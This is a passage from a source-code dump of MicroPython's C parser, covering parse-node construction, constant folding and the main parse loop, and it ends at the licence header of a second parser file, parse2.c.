(mp_parse_node_struct_t*)pn;\n        if (MP_PARSE_NODE_STRUCT_KIND(pns) == RULE_const_object) {\n            #if MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_D\n            printf(\"literal const(%016llx)\\n\", (uint64_t)pns->nodes[0] | ((uint64_t)pns->nodes[1] << 32));\n            #else\n            printf(\"literal const(%p)\\n\", (mp_obj_t)pns->nodes[0]);\n            #endif\n        } else {\n            size_t n = MP_PARSE_NODE_STRUCT_NUM_NODES(pns);\n#ifdef USE_RULE_NAME\n            printf(\"%s(%u) (n=%u)\\n\", rules[MP_PARSE_NODE_STRUCT_KIND(pns)]->rule_name, (uint)MP_PARSE_NODE_STRUCT_KIND(pns), (uint)n);\n#else\n            printf(\"rule(%u) (n=%u)\\n\", (uint)MP_PARSE_NODE_STRUCT_KIND(pns), (uint)n);\n#endif\n            for (size_t i = 0; i < n; i++) {\n                mp_parse_node_print(pns->nodes[i], indent + 2);\n            }\n        }\n    }\n}\n#endif // MICROPY_DEBUG_PRINTERS\n\n/*\nSTATIC void result_stack_show(parser_t *parser) {\n    printf(\"result stack, most recent first\\n\");\n    for (ssize_t i = parser->result_stack_top - 1; i >= 0; i--) {\n        mp_parse_node_print(parser->result_stack[i], 0);\n    }\n}\n*/\n\nSTATIC mp_parse_node_t pop_result(parser_t *parser) {\n    assert(parser->result_stack_top > 0);\n    return parser->result_stack[--parser->result_stack_top];\n}\n\nSTATIC mp_parse_node_t peek_result(parser_t *parser, size_t pos) {\n    assert(parser->result_stack_top > pos);\n    return parser->result_stack[parser->result_stack_top - 1 - pos];\n}\n\nSTATIC void push_result_node(parser_t *parser, mp_parse_node_t pn) {\n    if (parser->result_stack_top >= parser->result_stack_alloc) {\n        mp_parse_node_t *stack = m_renew(mp_parse_node_t, parser->result_stack, parser->result_stack_alloc, parser->result_stack_alloc + MICROPY_ALLOC_PARSE_RESULT_INC);\n        parser->result_stack = stack;\n        parser->result_stack_alloc += MICROPY_ALLOC_PARSE_RESULT_INC;\n    }\n    parser->result_stack[parser->result_stack_top++] = pn;\n}\n\nSTATIC mp_parse_node_t make_node_const_object(parser_t *parser, size_t src_line, mp_obj_t obj) {\n    mp_parse_node_struct_t *pn = parser_alloc(parser, sizeof(mp_parse_node_struct_t) + sizeof(mp_obj_t));\n    pn->source_line = src_line;\n    #if MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_D\n    // nodes are 32-bit pointers, but need to store 64-bit object\n    pn->kind_num_nodes = RULE_const_object | (2 << 8);\n    pn->nodes[0] = (uint64_t)obj;\n    pn->nodes[1] = (uint64_t)obj >> 32;\n    #else\n    pn->kind_num_nodes = RULE_const_object | (1 << 8);\n    pn->nodes[0] = (uintptr_t)obj;\n    #endif\n    return (mp_parse_node_t)pn;\n}\n\nSTATIC void push_result_token(parser_t *parser, const rule_t *rule) {\n    mp_parse_node_t pn;\n    mp_lexer_t *lex = parser->lexer;\n    if (lex->tok_kind == MP_TOKEN_NAME) {\n        qstr id = qstr_from_strn(lex->vstr.buf, lex->vstr.len);\n        #if MICROPY_COMP_CONST\n        // if name is a standalone identifier, look it up in the table of dynamic constants\n        mp_map_elem_t *elem;\n        if (rule->rule_id == RULE_atom\n            && (elem = mp_map_lookup(&parser->consts, MP_OBJ_NEW_QSTR(id), MP_MAP_LOOKUP)) != NULL) {\n            if (MP_OBJ_IS_SMALL_INT(elem->value)) {\n                pn = mp_parse_node_new_small_int(MP_OBJ_SMALL_INT_VALUE(elem->value));\n            } else {\n                pn = make_node_const_object(parser, lex->tok_line, elem->value);\n            }\n        } else {\n            pn = mp_parse_node_new_leaf(MP_PARSE_NODE_ID, id);\n        }\n        #else\n        (void)rule;\n        pn = mp_parse_node_new_leaf(MP_PARSE_NODE_ID, id);\n        #endif\n    } else if (lex->tok_kind == MP_TOKEN_INTEGER) {\n        mp_obj_t o = mp_parse_num_integer(lex->vstr.buf, lex->vstr.len, 0, lex);\n        if (MP_OBJ_IS_SMALL_INT(o)) {\n            pn = mp_parse_node_new_small_int(MP_OBJ_SMALL_INT_VALUE(o));\n        } else {\n            pn = make_node_const_object(parser, lex->tok_line, o);\n        }\n    } else if (lex->tok_kind == MP_TOKEN_FLOAT_OR_IMAG) {\n        mp_obj_t o = mp_parse_num_decimal(lex->vstr.buf, lex->vstr.len, true, false, lex);\n        pn = make_node_const_object(parser, lex->tok_line, o);\n    } else if (lex->tok_kind == MP_TOKEN_STRING || lex->tok_kind == MP_TOKEN_BYTES) {\n        // Don't automatically intern all strings/bytes.  doc strings (which are usually large)\n        // will be discarded by the compiler, and so we shouldn't intern them.\n        qstr qst = MP_QSTR_NULL;\n        if (lex->vstr.len <= MICROPY_ALLOC_PARSE_INTERN_STRING_LEN) {\n            // intern short strings\n            qst = qstr_from_strn(lex->vstr.buf, lex->vstr.len);\n        } else {\n            // check if this string is already interned\n            qst = qstr_find_strn(lex->vstr.buf, lex->vstr.len);\n        }\n        if (qst != MP_QSTR_NULL) {\n            // qstr exists, make a leaf node\n            pn = mp_parse_node_new_leaf(lex->tok_kind == MP_TOKEN_STRING ? MP_PARSE_NODE_STRING : MP_PARSE_NODE_BYTES, qst);\n        } else {\n            // not interned, make a node holding a pointer to the string/bytes object\n            mp_obj_t o = mp_obj_new_str_of_type(\n                lex->tok_kind == MP_TOKEN_STRING ? &mp_type_str : &mp_type_bytes,\n                (const byte*)lex->vstr.buf, lex->vstr.len);\n            pn = make_node_const_object(parser, lex->tok_line, o);\n        }\n    } else {\n        pn = mp_parse_node_new_leaf(MP_PARSE_NODE_TOKEN, lex->tok_kind);\n    }\n    push_result_node(parser, pn);\n}\n\n#if MICROPY_COMP_MODULE_CONST\nSTATIC const mp_rom_map_elem_t mp_constants_table[] = {\n    #if MICROPY_PY_UERRNO\n    { MP_ROM_QSTR(MP_QSTR_errno), MP_ROM_PTR(&mp_module_uerrno) },\n    #endif\n    #if MICROPY_PY_UCTYPES\n    { MP_ROM_QSTR(MP_QSTR_uctypes), MP_ROM_PTR(&mp_module_uctypes) },\n    #endif\n    // Extra constants as defined by a port\n    MICROPY_PORT_CONSTANTS\n};\nSTATIC MP_DEFINE_CONST_MAP(mp_constants_map, mp_constants_table);\n#endif\n\nSTATIC void push_result_rule(parser_t *parser, size_t src_line, const rule_t *rule, size_t num_args);\n\n#if MICROPY_COMP_CONST_FOLDING\nSTATIC bool fold_logical_constants(parser_t *parser, const rule_t *rule, size_t *num_args) {\n    if (rule->rule_id == RULE_or_test\n        || rule->rule_id == RULE_and_test) {\n        // folding for binary logical ops: or and\n        size_t copy_to = *num_args;\n        for (size_t i = copy_to; i > 0;) {\n            mp_parse_node_t pn = peek_result(parser, --i);\n            parser->result_stack[parser->result_stack_top - copy_to] = pn;\n            if (i == 0) {\n                // always need to keep the last value\n                break;\n            }\n            if (rule->rule_id == RULE_or_test) {\n                if (mp_parse_node_is_const_true(pn)) {\n                    //\n                    break;\n                } else if (!mp_parse_node_is_const_false(pn)) {\n                    copy_to -= 1;\n                }\n            } else {\n                // RULE_and_test\n                if (mp_parse_node_is_const_false(pn)) {\n                    break;\n                } else if (!mp_parse_node_is_const_true(pn)) {\n                    copy_to -= 1;\n                }\n            }\n        }\n        copy_to -= 1; // copy_to now contains number of args to pop\n\n        // pop and discard all the short-circuited expressions\n        for (size_t i = 0; i < copy_to; ++i) {\n            pop_result(parser);\n        }\n        *num_args -= copy_to;\n\n        // we did a complete folding if there's only 1 arg left\n        return *num_args == 1;\n\n    } else if (rule->rule_id == RULE_not_test_2) {\n        // folding for unary logical op: not\n        mp_parse_node_t pn = peek_result(parser, 0);\n        if (mp_parse_node_is_const_false(pn)) {\n            pn = mp_parse_node_new_leaf(MP_PARSE_NODE_TOKEN, MP_TOKEN_KW_TRUE);\n        } else if (mp_parse_node_is_const_true(pn)) {\n            pn = mp_parse_node_new_leaf(MP_PARSE_NODE_TOKEN, MP_TOKEN_KW_FALSE);\n        } else {\n            return false;\n        }\n        pop_result(parser);\n        push_result_node(parser, pn);\n        return true;\n    }\n\n    return false;\n}\n\nSTATIC bool fold_constants(parser_t *parser, const rule_t *rule, size_t num_args) {\n    // this code does folding of arbitrary integer expressions, eg 1 + 2 * 3 + 4\n    // it does not do partial folding, eg 1 + 2 + x -> 3 + x\n\n    mp_obj_t arg0;\n    if (rule->rule_id == RULE_expr\n        || rule->rule_id == RULE_xor_expr\n        || rule->rule_id == RULE_and_expr) {\n        // folding for binary ops: | ^ &\n        mp_parse_node_t pn = peek_result(parser, num_args - 1);\n        if (!mp_parse_node_get_int_maybe(pn, &arg0)) {\n            return false;\n        }\n        mp_binary_op_t op;\n        if (rule->rule_id == RULE_expr) {\n            op = MP_BINARY_OP_OR;\n        } else if (rule->rule_id == RULE_xor_expr) {\n            op = MP_BINARY_OP_XOR;\n        } else {\n            op = MP_BINARY_OP_AND;\n        }\n        for (ssize_t i = num_args - 2; i >= 0; --i) {\n            pn = peek_result(parser, i);\n            mp_obj_t arg1;\n            if (!mp_parse_node_get_int_maybe(pn, &arg1)) {\n                return false;\n            }\n            arg0 = mp_binary_op(op, arg0, arg1);\n        }\n    } else if (rule->rule_id == RULE_shift_expr\n        || rule->rule_id == RULE_arith_expr\n        || rule->rule_id == RULE_term) {\n        // folding for binary ops: << >> + - * / % //\n        mp_parse_node_t pn = peek_result(parser, num_args - 1);\n        if (!mp_parse_node_get_int_maybe(pn, &arg0)) {\n            return false;\n        }\n        for (ssize_t i = num_args - 2; i >= 1; i -= 2) {\n            pn = peek_result(parser, i - 1);\n            mp_obj_t arg1;\n            if (!mp_parse_node_get_int_maybe(pn, &arg1)) {\n                return false;\n            }\n            mp_token_kind_t tok = MP_PARSE_NODE_LEAF_ARG(peek_result(parser, i));\n            static const uint8_t token_to_op[] = {\n                MP_BINARY_OP_ADD,\n                MP_BINARY_OP_SUBTRACT,\n                MP_BINARY_OP_MULTIPLY,\n                255,//MP_BINARY_OP_POWER,\n                255,//MP_BINARY_OP_TRUE_DIVIDE,\n                MP_BINARY_OP_FLOOR_DIVIDE,\n                MP_BINARY_OP_MODULO,\n                255,//MP_BINARY_OP_LESS\n                MP_BINARY_OP_LSHIFT,\n                255,//MP_BINARY_OP_MORE\n                MP_BINARY_OP_RSHIFT,\n            };\n            mp_binary_op_t op = token_to_op[tok - MP_TOKEN_OP_PLUS];\n            if (op == (mp_binary_op_t)255) {\n                return false;\n            }\n            int rhs_sign = mp_obj_int_sign(arg1);\n            if (op <= MP_BINARY_OP_RSHIFT) {\n                // << and >> can't have negative rhs\n                if (rhs_sign < 0) {\n                    return false;\n                }\n            } else if (op >= MP_BINARY_OP_FLOOR_DIVIDE) {\n                // % and // can't have zero rhs\n                if (rhs_sign == 0) {\n                    return false;\n                }\n            }\n            arg0 = mp_binary_op(op, arg0, arg1);\n        }\n    } else if (rule->rule_id == RULE_factor_2) {\n        // folding for unary ops: + - ~\n        mp_parse_node_t pn = peek_result(parser, 0);\n        if (!mp_parse_node_get_int_maybe(pn, &arg0)) {\n            return false;\n        }\n        mp_token_kind_t tok = MP_PARSE_NODE_LEAF_ARG(peek_result(parser, 1));\n        mp_unary_op_t op;\n        if (tok == MP_TOKEN_OP_PLUS) {\n            op = MP_UNARY_OP_POSITIVE;\n        } else if (tok == MP_TOKEN_OP_MINUS) {\n            op = MP_UNARY_OP_NEGATIVE;\n        } else {\n            assert(tok == MP_TOKEN_OP_TILDE); // should be\n            op = MP_UNARY_OP_INVERT;\n        }\n        arg0 = mp_unary_op(op, arg0);\n\n    #if MICROPY_COMP_CONST\n    } else if (rule->rule_id == RULE_expr_stmt) {\n        mp_parse_node_t pn1 = peek_result(parser, 0);\n        if (!MP_PARSE_NODE_IS_NULL(pn1)\n            && !(MP_PARSE_NODE_IS_STRUCT_KIND(pn1, RULE_expr_stmt_augassign)\n            || MP_PARSE_NODE_IS_STRUCT_KIND(pn1, RULE_expr_stmt_assign_list))) {\n            // this node is of the form <x> = <y>\n            mp_parse_node_t pn0 = peek_result(parser, 1);\n            if (MP_PARSE_NODE_IS_ID(pn0)\n                && MP_PARSE_NODE_IS_STRUCT_KIND(pn1, RULE_atom_expr_normal)\n                && MP_PARSE_NODE_IS_ID(((mp_parse_node_struct_t*)pn1)->nodes[0])\n                && MP_PARSE_NODE_LEAF_ARG(((mp_parse_node_struct_t*)pn1)->nodes[0]) == MP_QSTR_const\n                && MP_PARSE_NODE_IS_STRUCT_KIND(((mp_parse_node_struct_t*)pn1)->nodes[1], RULE_trailer_paren)\n                ) {\n                // code to assign dynamic constants: id = const(value)\n\n                // get the id\n                qstr id = MP_PARSE_NODE_LEAF_ARG(pn0);\n\n                // get the value\n                mp_parse_node_t pn_value = ((mp_parse_node_struct_t*)((mp_parse_node_struct_t*)pn1)->nodes[1])->nodes[0];\n                mp_obj_t value;\n                if (!mp_parse_node_get_int_maybe(pn_value, &value)) {\n                    mp_obj_t exc = mp_obj_new_exception_msg(&mp_type_SyntaxError,\n                        \"constant must be an integer\");\n                    mp_obj_exception_add_traceback(exc, parser->lexer->source_name,\n                        ((mp_parse_node_struct_t*)pn1)->source_line, MP_QSTR_NULL);\n                    nlr_raise(exc);\n                }\n\n                // store the value in the table of dynamic constants\n                mp_map_elem_t *elem = mp_map_lookup(&parser->consts, MP_OBJ_NEW_QSTR(id), MP_MAP_LOOKUP_ADD_IF_NOT_FOUND);\n                assert(elem->value == MP_OBJ_NULL);\n                elem->value = value;\n\n                // If the constant starts with an underscore then treat it as a private\n                // variable and don't emit any code to store the value to the id.\n                if (qstr_str(id)[0] == '_') {\n                    pop_result(parser); // pop const(value)\n                    pop_result(parser); // pop id\n                    push_result_rule(parser, 0, rules[RULE_pass_stmt], 0); // replace with \"pass\"\n                    return true;\n                }\n\n                // replace const(value) with value\n                pop_result(parser);\n                push_result_node(parser, pn_value);\n\n                // finished folding this assignment, but we still want it to be part of the tree\n                return false;\n            }\n        }\n        return false;\n    #endif\n\n    #if MICROPY_COMP_MODULE_CONST\n    } else if (rule->rule_id == RULE_atom_expr_normal) {\n        mp_parse_node_t pn0 = peek_result(parser, 1);\n        mp_parse_node_t pn1 = peek_result(parser, 0);\n        if (!(MP_PARSE_NODE_IS_ID(pn0)\n            && MP_PARSE_NODE_IS_STRUCT_KIND(pn1, RULE_trailer_period))) {\n            return false;\n        }\n        // id1.id2\n        // look it up in constant table, see if it can be replaced with an integer\n        mp_parse_node_struct_t *pns1 = (mp_parse_node_struct_t*)pn1;\n        assert(MP_PARSE_NODE_IS_ID(pns1->nodes[0]));\n        qstr q_base = MP_PARSE_NODE_LEAF_ARG(pn0);\n        qstr q_attr = MP_PARSE_NODE_LEAF_ARG(pns1->nodes[0]);\n        mp_map_elem_t *elem = mp_map_lookup((mp_map_t*)&mp_constants_map, MP_OBJ_NEW_QSTR(q_base), MP_MAP_LOOKUP);\n        if (elem == NULL) {\n            return false;\n        }\n        mp_obj_t dest[2];\n        mp_load_method_maybe(elem->value, q_attr, dest);\n        if (!(dest[0] != MP_OBJ_NULL && MP_OBJ_IS_INT(dest[0]) && dest[1] == MP_OBJ_NULL)) {\n            return false;\n        }\n        arg0 = dest[0];\n    #endif\n\n    } else {\n        return false;\n    }\n\n    // success folding this rule\n\n    for (size_t i = num_args; i > 0; i--) {\n        pop_result(parser);\n    }\n    if (MP_OBJ_IS_SMALL_INT(arg0)) {\n        push_result_node(parser, mp_parse_node_new_small_int(MP_OBJ_SMALL_INT_VALUE(arg0)));\n    } else {\n        // TODO reuse memory for parse node struct?\n        push_result_node(parser, make_node_const_object(parser, 0, arg0));\n    }\n\n    return true;\n}\n#endif\n\nSTATIC void push_result_rule(parser_t *parser, size_t src_line, const rule_t *rule, size_t num_args) {\n    // optimise away parenthesis around an expression if possible\n    if (rule->rule_id == RULE_atom_paren) {\n        // there should be just 1 arg for this rule\n        mp_parse_node_t pn = peek_result(parser, 0);\n        if (MP_PARSE_NODE_IS_NULL(pn)) {\n            // need to keep parenthesis for ()\n        } else if (MP_PARSE_NODE_IS_STRUCT_KIND(pn, RULE_testlist_comp)) {\n            // need to keep parenthesis for (a, b, ...)\n        } else {\n            // parenthesis around a single expression, so it's just the expression\n            return;\n        }\n    }\n\n    #if MICROPY_COMP_CONST_FOLDING\n    if (fold_logical_constants(parser, rule, &num_args)) {\n        // we folded this rule so return straight away\n        return;\n    }\n    if (fold_constants(parser, rule, num_args)) {\n        // we folded this rule so return straight away\n        return;\n    }\n    #endif\n\n    mp_parse_node_struct_t *pn = parser_alloc(parser, sizeof(mp_parse_node_struct_t) + sizeof(mp_parse_node_t) * num_args);\n    pn->source_line = src_line;\n    pn->kind_num_nodes = (rule->rule_id & 0xff) | (num_args << 8);\n    for (size_t i = num_args; i > 0; i--) {\n        pn->nodes[i - 1] = pop_result(parser);\n    }\n    push_result_node(parser, (mp_parse_node_t)pn);\n}\n\nmp_parse_tree_t mp_parse(mp_lexer_t *lex, mp_parse_input_kind_t input_kind) {\n\n    // initialise parser and allocate memory for its stacks\n\n    parser_t parser;\n\n    parser.rule_stack_alloc = MICROPY_ALLOC_PARSE_RULE_INIT;\n    parser.rule_stack_top = 0;\n    parser.rule_stack = m_new(rule_stack_t, parser.rule_stack_alloc);\n\n    parser.result_stack_alloc = MICROPY_ALLOC_PARSE_RESULT_INIT;\n    parser.result_stack_top = 0;\n    parser.result_stack = m_new(mp_parse_node_t, parser.result_stack_alloc);\n\n    parser.lexer = lex;\n\n    parser.tree.chunk = NULL;\n    parser.cur_chunk = NULL;\n\n    #if MICROPY_COMP_CONST\n    mp_map_init(&parser.consts, 0);\n    #endif\n\n    // work out the top-level rule to use, and push it on the stack\n    size_t top_level_rule;\n    switch (input_kind) {\n        case MP_PARSE_SINGLE_INPUT: top_level_rule = RULE_single_input; break;\n        case MP_PARSE_EVAL_INPUT: top_level_rule = RULE_eval_input; break;\n        default: top_level_rule = RULE_file_input;\n    }\n    push_rule(&parser, lex->tok_line, rules[top_level_rule], 0);\n\n    // parse!\n\n    size_t n, i; // state for the current rule\n    size_t rule_src_line; // source line for the first token matched by the current rule\n    bool backtrack = false;\n    const rule_t *rule = NULL;\n\n    for (;;) {\n        next_rule:\n        if (parser.rule_stack_top == 0) {\n            break;\n        }\n\n        pop_rule(&parser, &rule, &i, &rule_src_line);\n        n = rule->act & RULE_ACT_ARG_MASK;\n\n        /*\n        // debugging\n        printf(\"depth=%d \", parser.rule_stack_top);\n        for (int j = 0; j < parser.rule_stack_top; ++j) {\n            printf(\" \");\n        }\n        printf(\"%s n=%d i=%d bt=%d\\n\", rule->rule_name, n, i, backtrack);\n        */\n\n        switch (rule->act & RULE_ACT_KIND_MASK) {\n            case RULE_ACT_OR:\n                if (i > 0 && !backtrack) {\n                    goto next_rule;\n                } else {\n                    backtrack = false;\n                }\n                for (; i < n; ++i) {\n                    uint16_t kind = rule->arg[i] & RULE_ARG_KIND_MASK;\n                    if (kind == RULE_ARG_TOK) {\n                        if (lex->tok_kind == (rule->arg[i] & RULE_ARG_ARG_MASK)) {\n                            push_result_token(&parser, rule);\n                            mp_lexer_to_next(lex);\n                            goto next_rule;\n                        }\n                    } else {\n                        assert(kind == RULE_ARG_RULE);\n                        if (i + 1 < n) {\n                            push_rule(&parser, rule_src_line, rule, i + 1); // save this or-rule\n                        }\n                        push_rule_from_arg(&parser, rule->arg[i]); // push child of or-rule\n                        goto next_rule;\n                    }\n                }\n                backtrack = true;\n                break;\n\n            case RULE_ACT_AND: {\n\n                // failed, backtrack if we can, else syntax error\n                if (backtrack) {\n                    assert(i > 0);\n                    if ((rule->arg[i - 1] & RULE_ARG_KIND_MASK) == RULE_ARG_OPT_RULE) {\n                        // an optional rule that failed, so continue with next arg\n                        push_result_node(&parser, MP_PARSE_NODE_NULL);\n                        backtrack = false;\n                    } else {\n                        // a mandatory rule that failed, so propagate backtrack\n                        if (i > 1) {\n                            // already eaten tokens so can't backtrack\n                            goto syntax_error;\n                        } else {\n                            goto next_rule;\n                        }\n                    }\n                }\n\n                // progress through the rule\n                for (; i < n; ++i) {\n                    if ((rule->arg[i] & RULE_ARG_KIND_MASK) == RULE_ARG_TOK) {\n                        // need to match a token\n                        mp_token_kind_t tok_kind = rule->arg[i] & RULE_ARG_ARG_MASK;\n                        if (lex->tok_kind == tok_kind) {\n                            // matched token\n                            if (tok_kind == MP_TOKEN_NAME) {\n                                push_result_token(&parser, rule);\n                            }\n                            mp_lexer_to_next(lex);\n                        } else {\n                            // failed to match token\n                            if (i > 0) {\n                                // already eaten tokens so can't backtrack\n                                goto syntax_error;\n                            } else {\n                                // this rule failed, so backtrack\n                                backtrack = true;\n                                goto next_rule;\n                            }\n                        }\n                    } else {\n                        push_rule(&parser, rule_src_line, rule, i + 1); // save this and-rule\n                        push_rule_from_arg(&parser, rule->arg[i]); // push child of and-rule\n                        goto next_rule;\n                    }\n                }\n\n                assert(i == n);\n\n                // matched the rule, so now build the corresponding parse_node\n\n                #if !MICROPY_ENABLE_DOC_STRING\n                // this code discards lonely statements, such as doc strings\n                if (input_kind != MP_PARSE_SINGLE_INPUT && rule->rule_id == RULE_expr_stmt && peek_result(&parser, 0) == MP_PARSE_NODE_NULL) {\n                    mp_parse_node_t p = peek_result(&parser, 1);\n                    if ((MP_PARSE_NODE_IS_LEAF(p) && !MP_PARSE_NODE_IS_ID(p))\n                        || MP_PARSE_NODE_IS_STRUCT_KIND(p, RULE_const_object)) {\n                        pop_result(&parser); // MP_PARSE_NODE_NULL\n                        pop_result(&parser); // const expression (leaf or RULE_const_object)\n                        // Pushing the \"pass\" rule here will overwrite any RULE_const_object\n                        // entry that was on the result stack, allowing the GC to reclaim\n                        // the memory from the const object when needed.\n                        push_result_rule(&parser, rule_src_line, rules[RULE_pass_stmt], 0);\n                        break;\n                    }\n                }\n                #endif\n\n                // count number of arguments for the parse node\n                i = 0;\n                size_t num_not_nil = 0;\n                for (size_t x = n; x > 0;) {\n                    --x;\n                    if ((rule->arg[x] & RULE_ARG_KIND_MASK) == RULE_ARG_TOK) {\n                        mp_token_kind_t tok_kind = rule->arg[x] & RULE_ARG_ARG_MASK;\n                        if (tok_kind == MP_TOKEN_NAME) {\n                            // only tokens which were names are pushed to stack\n                            i += 1;\n                            num_not_nil += 1;\n                        }\n                    } else {\n                        // rules are always pushed\n                        if (peek_result(&parser, i) != MP_PARSE_NODE_NULL) {\n                            num_not_nil += 1;\n                        }\n                        i += 1;\n                    }\n                }\n\n                if (num_not_nil == 1 && (rule->act & RULE_ACT_ALLOW_IDENT)) {\n                    // this rule has only 1 argument and should not be emitted\n                    mp_parse_node_t pn = MP_PARSE_NODE_NULL;\n                    for (size_t x = 0; x < i; ++x) {\n                        mp_parse_node_t pn2 = pop_result(&parser);\n                        if (pn2 != MP_PARSE_NODE_NULL) {\n                            pn = pn2;\n                        }\n                    }\n                    push_result_node(&parser, pn);\n                } else {\n                    // this rule must be emitted\n\n                    if (rule->act & RULE_ACT_ADD_BLANK) {\n                        // and add an extra blank node at the end (used by the compiler to store data)\n                        push_result_node(&parser, MP_PARSE_NODE_NULL);\n                        i += 1;\n                    }\n\n                    push_result_rule(&parser, rule_src_line, rule, i);\n                }\n                break;\n            }\n\n            default: {\n                assert((rule->act & RULE_ACT_KIND_MASK) == RULE_ACT_LIST);\n\n                // n=2 is: item item*\n                // n=1 is: item (sep item)*\n                // n=3 is: item (sep item)* [sep]\n                bool had_trailing_sep;\n                if (backtrack) {\n                    list_backtrack:\n                    had_trailing_sep = false;\n                    if (n == 2) {\n                        if (i == 1) {\n                            // fail on item, first time round; propagate backtrack\n                            goto next_rule;\n                        } else {\n                            // fail on item, in later rounds; finish with this rule\n                            backtrack = false;\n                        }\n                    } else {\n                        if (i == 1) {\n                            // fail on item, first time round; propagate backtrack\n                            goto next_rule;\n                        } else if ((i & 1) == 1) {\n                            // fail on item, in later rounds; have eaten tokens so can't backtrack\n                            if (n == 3) {\n                                // list allows trailing separator; finish parsing list\n                                had_trailing_sep = true;\n                                backtrack = false;\n                            } else {\n                                // list doesn't allowing trailing separator; fail\n                                goto syntax_error;\n                            }\n                        } else {\n                            // fail on separator; finish parsing list\n                            backtrack = false;\n                        }\n                    }\n                } else {\n                    for (;;) {\n                        size_t arg = rule->arg[i & 1 & n];\n                        if ((arg & RULE_ARG_KIND_MASK) == RULE_ARG_TOK) {\n                            if (lex->tok_kind == (arg & RULE_ARG_ARG_MASK)) {\n                                if (i & 1 & n) {\n                                    // separators which are tokens are not pushed to result stack\n                                } else {\n                                    push_result_token(&parser, rule);\n                                }\n                                mp_lexer_to_next(lex);\n                                // got element of list, so continue parsing list\n                                i += 1;\n                            } else {\n                                // couldn't get element of list\n                                i += 1;\n                                backtrack = true;\n                                goto list_backtrack;\n                            }\n                        } else {\n                            assert((arg & RULE_ARG_KIND_MASK) == RULE_ARG_RULE);\n                            push_rule(&parser, rule_src_line, rule, i + 1); // save this list-rule\n                            push_rule_from_arg(&parser, arg); // push child of list-rule\n                            goto next_rule;\n                        }\n                    }\n                }\n                assert(i >= 1);\n\n                // compute number of elements in list, result in i\n                i -= 1;\n                if ((n & 1) && (rule->arg[1] & RULE_ARG_KIND_MASK) == RULE_ARG_TOK) {\n                    // don't count separators when they are tokens\n                    i = (i + 1) / 2;\n                }\n\n                if (i == 1) {\n                    // list matched single item\n                    if (had_trailing_sep) {\n                        // if there was a trailing separator, make a list of a single item\n                        push_result_rule(&parser, rule_src_line, rule, i);\n                    } else {\n                        // just leave single item on stack (ie don't wrap in a list)\n                    }\n                } else {\n                    push_result_rule(&parser, rule_src_line, rule, i);\n                }\n                break;\n            }\n        }\n    }\n\n    #if MICROPY_COMP_CONST\n    mp_map_deinit(&parser.consts);\n    #endif\n\n    // truncate final chunk and link into chain of chunks\n    if (parser.cur_chunk != NULL) {\n        (void)m_renew_maybe(byte, parser.cur_chunk,\n            sizeof(mp_parse_chunk_t) + parser.cur_chunk->alloc,\n            sizeof(mp_parse_chunk_t) + parser.cur_chunk->union_.used,\n            false);\n        parser.cur_chunk->alloc = parser.cur_chunk->union_.used;\n        parser.cur_chunk->union_.next = parser.tree.chunk;\n        parser.tree.chunk = parser.cur_chunk;\n    }\n\n    if (\n        lex->tok_kind != MP_TOKEN_END // check we are at the end of the token stream\n        || parser.result_stack_top == 0 // check that we got a node (can fail on empty input)\n        ) {\n    syntax_error:;\n        mp_obj_t exc;\n        if (lex->tok_kind == MP_TOKEN_INDENT) {\n            exc = mp_obj_new_exception_msg(&mp_type_IndentationError,\n                \"unexpected indent\");\n        } else if (lex->tok_kind == MP_TOKEN_DEDENT_MISMATCH) {\n            exc = mp_obj_new_exception_msg(&mp_type_IndentationError,\n                \"unindent does not match any outer indentation level\");\n        } else {\n            exc = mp_obj_new_exception_msg(&mp_type_SyntaxError,\n                \"invalid syntax\");\n        }\n        // add traceback to give info about file name and location\n        // we don't have a 'block' name, so just pass the NULL qstr to indicate this\n        mp_obj_exception_add_traceback(exc, lex->source_name, lex->tok_line, MP_QSTR_NULL);\n        nlr_raise(exc);\n    }\n\n    // get the root parse node that we created\n    assert(parser.result_stack_top == 1);\n    parser.tree.root = parser.result_stack[0];\n\n    // free the memory that we don't need anymore\n    m_del(rule_stack_t, parser.rule_stack, parser.rule_stack_alloc);\n    m_del(mp_parse_node_t, parser.result_stack, parser.result_stack_alloc);\n\n    // we also free the lexer on behalf of the caller\n    mp_lexer_free(lex);\n\n    return parser.tree;\n}\n\nvoid mp_parse_tree_clear(mp_parse_tree_t *tree) {\n    mp_parse_chunk_t *chunk = tree->chunk;\n    while (chunk != NULL) {\n        mp_parse_chunk_t *next = chunk->union_.next;\n        m_del(byte, chunk, sizeof(mp_parse_chunk_t) + chunk->alloc);\n        chunk = next;\n    }\n}\n\n#endif // MICROPY_ENABLE_COMPILER && !MICROPY_USE_SMALL_HEAP_COMPILER\n"
  },
  {
    "path": "micropython/source/py/parse2.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013-2016 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdbool.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <assert.h>\n#include <string.h>\n\n#include \"py/nlr.h\"\n#include \"py/lexer.h\"\n#include \"py/parse.h\"\n#include \"py/parsenum.h\"\n#include \"py/smallint.h\"\n\n#if MICROPY_ENABLE_COMPILER && MICROPY_USE_SMALL_HEAP_COMPILER\n\n#define RULE_ACT_ARG_MASK       (0x0f)\n#define RULE_ACT_KIND_MASK      (0x30)\n#define RULE_ACT_ALLOW_IDENT    (0x40)\n#define RULE_ACT_ADD_BLANK      (0x80)\n#define RULE_ACT_OR             (0x10)\n#define RULE_ACT_AND            (0x20)\n#define RULE_ACT_LIST           